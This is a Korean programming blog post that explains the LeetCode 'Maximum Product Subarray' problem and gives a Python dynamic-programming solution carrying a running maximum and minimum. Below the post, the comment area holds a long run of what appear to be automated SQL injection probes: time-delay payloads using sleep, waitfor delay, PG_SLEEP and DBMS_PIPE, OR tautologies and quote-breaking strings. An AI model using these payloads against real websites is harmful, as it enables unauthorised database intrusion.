Maximum Product Subarray
by VICENTE97P4
Dec. 19, 2021, 9:02 p.m.
문제 링크: https://leetcode.com/problems/maximum-product-subarray/
LeetCode는 잘 안 쓰는 편입니다.
그런데 이번에 아는 동생이 재미있는 문제를 줘서 풀어보았습니다.
사실 비슷한 문제인 연속된 수열의 최대 합 구하기는 이미 널리 알려진 문제입니다.
그냥 매번 최대값을 비교하여 갱신해주고, 음수가 되면 다시 0을 넣어서 진행해주고..
DP 문제를 많이 안 풀어봐도 자세히 생각해보면 풀 수 있는 문제입니다.
하지만 곱하기는 경우가 다릅니다.
음수가 곱해지는 경우 값이 확 작아지는데, 나중에는 이 값에 또 음수가 곱해져서 최대값이 될 수도 있습니다.
그렇다고 음수를 모두 저장해서 일일히 비교하기에는 N^2이라 TLE가 나고..
결국에는 원사이드하게 진행해서 N이나 NlogN으로 해결해야 하는데 NlogN은 뭐.. 아닌 거 같고..
그럼 어쩌란 거지? 하는 생각이 들기 마련입니다.
실제로 이 문제를 이야기해준 동생은 좌절하여 에듀윌로 가서 공무원을 준비하겠다고 선언하는 지경에 이르렀습니다.
녀셕의 두뇌는 나보다 훨씬 뛰어나고, 대한민국을 이끄는 선두주자가 되기 충분한데..
아무튼 각설하고 풀어봅시다!!
class Solution:
def maxProduct(self, nums: List[int]) -> int:
ans = nums[0]
maximum = nums[0]
minimum = nums[0]
for i in range(1, len(nums)):
maximum, minimum = max(maximum*nums[i], minimum*nums[i], nums[i]), min(maximum*nums[i], minimum*nums[i], nums[i])
ans = max(ans, maximum)
return ans
답은 간단합니다. 그냥 최소값도 같이 저장해서 들고다니면 됩니다.
배열로 저장할 필요도 없습니다. 그냥 변수에 최대값 하나, 최소값 하나 들고다니면 됩니다.
단, 매 index 비교마다 최대값(ans) 비교는 해줘야 하고, 차라리 끊고 새로 들어온 인덱스부터 시작하는 경우도
고려해줘야 합니다.
왜냐하면 최대, 최소값이 모두 음수일 경우에는 양수로 새로 시작하는게 더 크기 때문입니다.
진짜 아무것도 아닌 문제인데, 생각보다 떠올리기 까다로울 수 있습니다.
이 문제를 못 풀었다 하더라도, 다양한 아이디어를 배워가며 생각의 폭을 넓혀가고, 사색으로 깊이를 깊혀가면 됩니다.
세상 모든 것을 스스로 알아낼 수는 없는 법이니까요..
극복할 수 있는 문제로 좌절하여 총명한 머리를 썩히지 않았으면 합니다.
그 동생도, 그리고 여러분들도..
물론 제가 제일 급하죠. ^^
26 view 614
EB8twMdL
Updated: Feb. 22, 2025, 5:29 p.m.
*1
Updated: Feb. 22, 2025, 5:29 p.m.
*1
Updated: Feb. 22, 2025, 5:29 p.m.
*1
Updated: Feb. 22, 2025, 5:29 p.m.
*1
Updated: Feb. 22, 2025, 5:29 p.m.
-1 OR 2+172-172-1=0+0+0+1
Updated: Feb. 22, 2025, 5:29 p.m.
-1 OR 3+172-172-1=0+0+0+1
Updated: Feb. 22, 2025, 5:29 p.m.
*if(now()=sysdate(),sleep(15),0)
Updated: Feb. 22, 2025, 5:29 p.m.
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
Updated: Feb. 22, 2025, 5:29 p.m.
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
Updated: Feb. 22, 2025, 5:29 p.m.
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
Updated: Feb. 22, 2025, 5:29 p.m.
-1; waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:29 p.m.
-1); waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:29 p.m.
-1 waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:29 p.m.
RybGq38T'; waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:29 p.m.
-1 OR 116=(SELECT 116 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:29 p.m.
-1) OR 666=(SELECT 666 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:29 p.m.
-1)) OR 403=(SELECT 403 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:29 p.m.
jekkiXT1' OR 570=(SELECT 570 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:29 p.m.
kMJhBbqL') OR 511=(SELECT 511 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:29 p.m.
bWVNdlCg')) OR 772=(SELECT 772 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:29 p.m.
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Updated: Feb. 22, 2025, 5:29 p.m.
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Updated: Feb. 22, 2025, 5:29 p.m.
'"
Updated: Feb. 22, 2025, 5:29 p.m.
����%2527%2522\'\"
Updated: Feb. 22, 2025, 5:29 p.m.
@@Vgfpw
Updated: Feb. 22, 2025, 5:29 p.m.